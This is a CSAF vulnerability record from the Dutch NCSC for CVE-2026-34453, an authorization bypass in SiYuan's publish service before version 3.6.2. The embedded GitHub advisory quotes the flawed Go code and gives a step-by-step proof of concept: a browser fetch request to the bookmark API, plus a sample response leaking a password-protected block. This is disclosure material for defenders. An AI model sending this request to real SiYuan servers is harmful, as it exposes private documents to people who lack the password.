{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-34453", "tracking": { "current_release_date": "2026-04-03T17:26:15.675931Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-34453", "initial_release_date": "2026-03-31T22:25:32.290707Z", "revision_history": [ { "date": "2026-03-31T22:25:32.290707Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T22:25:35.062495Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-31T22:40:09.788649Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T22:40:12.545818Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-31T23:58:20.490081Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-31T23:58:23.784596Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-04-01T07:50:17.669513Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-04-01T15:06:38.538564Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-04-01T15:07:57.904020Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-04-02T18:01:18.053739Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Exploits created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T18:01:18.808418Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Exploits created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T18:01:19.814641Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Exploits created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T18:01:26.058918Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-04-03T15:31:33.275485Z", "number": "14", "summary": "EPSS updated." }, { "date": "2026-04-03T15:31:36.601838Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-04-03T17:26:11.396331Z", "number": "16", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-04-03T17:26:14.170422Z", "number": "17", "summary": "NCSC Score updated." } ], "status": "interim", "version": "17" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.6.2", "product": { "name": "vers:unknown/<3.6.2", "product_id": "CSAFPID-5899391", "product_identification_helper": { "cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "siyuan" } ], "category": "vendor", "name": "B3log" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.6.2", "product": { "name": "vers:unknown/<3.6.2", "product_id": "CSAFPID-5878158" } }, { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-5970654" } } ], "category": "product_name", "name": "siyuan" } ], "category": "vendor", "name": "siyuan-note" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-34453", "cwe": { "id": "CWE-863", "name": "Incorrect Authorization" }, "notes": [ { "category": "description", "text": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, the publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. This issue has been patched in version 3.6.2.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34453" }, { "category": "description", "text": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, the publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. This issue has been patched in version 3.6.2.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34453.json" }, { "category": "description", "text": "### Summary\nThe publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.\n\n### Details\nThe issue is caused by an authorization bypass in the bookmark API path used by the publish service.\n\nIn `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context:\n```go\nif model.IsReadOnlyRoleContext(c) {\n publishAccess := model.GetPublishAccess()\n tempBookmarks := &model.Bookmarks{}\n for _, bookmark := range *bookmarks {\n bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)\n```\nIn `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`:\n```go\nif CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&\n (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n ret = append(ret, block)\n}\n```\nThis bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-` cookie for protected content.\n\nThe publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path.\n\nI reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass.\n\n### PoC\n\n1. Start SiYuan with the publish service enabled.\n2. Create a new document, for example publish-bookmark-poc.\n3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.\n4. Open the block attributes and assign a bookmark label, for example leak-test.\n5. In Doc Tree, enable Publish Access Control and set the document to Protected.\n6. Set a password for that document, for example test123, and confirm the change.\n7. Open the publish service in a fresh incognito/private browser session.\n8. Verify that opening the protected document through the publish UI requires the password.\n9. Without entering the password, open the browser developer console and run:\n```js\nfetch(\"/api/bookmark/getBookmark\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: \"{}\"\n})\n .then(r => r.json())\n .then(x => console.log(JSON.stringify(x, null, 2)));\n```\n10. Observe that the response contains a bookmark entry such as:\n```json\n{\n \"code\": 0,\n \"msg\": \"\",\n \"data\": [\n {\n \"name\": \"leak-test\",\n \"blocks\": [\n {\n \"box\": \"20260327012540-ppsxc5j\",\n \"path\": \"/20260327012543-acu1mdn.sy\",\n \"hPath\": \"/publish-bookmark-poc\",\n \"id\": \"20260327012543-1y6djn1\",\n \"rootID\": \"20260327012543-acu1mdn\",\n \"parentID\": \"20260327012543-acu1mdn\",\n \"name\": \"\",\n \"alias\": \"\",\n \"memo\": \"\",\n \"tag\": \"\",\n \"content\": \"​​BOOKMARK_SECRET_123​\",\n \"fcontent\": \"\",\n \"markdown\": \"`BOOKMARK_SECRET_123`\",\n \"folded\": false,\n \"type\": \"NodeParagraph\",\n \"subType\": \"\",\n \"refText\": \"\",\n \"refs\": null,\n \"defID\": \"\",\n \"defPath\": \"\",\n \"ial\": {\n \"bookmark\": \"leak-test\",\n \"id\": \"20260327012543-1y6djn1\",\n \"updated\": \"20260327013116\"\n },\n \"children\": null,\n \"depth\": 1,\n \"count\": 0,\n \"refCount\": 0,\n \"sort\": 10,\n \"created\": \"\",\n \"updated\": \"\",\n \"riffCardID\": \"\",\n \"riffCard\": null\n }\n ],\n \"type\": \"bookmark\",\n \"depth\": 0,\n \"count\": 1\n }\n ]\n}\n```\nActual result:\n`/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password.\n\n### Impact\nAn unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.", "title": "github - https://api.github.com/advisories/GHSA-c77m-r996-jr3q" }, { "category": "description", "text": "SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/21c2d04b4c17bf1f20f3075f9c13d1bd129ed4e5/http%2Fcves%2F2026%2FCVE-2026-34453.yaml" }, { "category": "description", "text": "SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/4afaf3de5ca8681428dcfd523c92de315d34297c/http%2Fcves%2F2026%2FCVE-2026-34453.yaml" }, { "category": "description", "text": "SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/cfbed706c257fbd695f5150675b899ecf42d7f67/http%2Fcves%2F2026%2FCVE-2026-34453.yaml" }, { "category": "other", "text": "0.06984", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "The value of the most recent EPSS score", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is exploit data available from source Nvd, Is related to an uncommon product vendor, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5878158", "CSAFPID-5970654", "CSAFPID-5899391" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34453" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34453.json" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-c77m-r996-jr3q" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/21c2d04b4c17bf1f20f3075f9c13d1bd129ed4e5/http%2Fcves%2F2026%2FCVE-2026-34453.yaml" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/4afaf3de5ca8681428dcfd523c92de315d34297c/http%2Fcves%2F2026%2FCVE-2026-34453.yaml" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/cfbed706c257fbd695f5150675b899ecf42d7f67/http%2Fcves%2F2026%2FCVE-2026-34453.yaml" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd", "url": "https://github.com/siyuan-note/siyuan/issues/17246" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd", "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nucleitemplates; nvd", "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-c77m-r996-jr3q" }, { "category": "external", "summary": "Reference - nucleitemplates", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34453" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5878158", "CSAFPID-5899391", "CSAFPID-5970654" ] } ], "title": "CVE-2026-34453" } ] }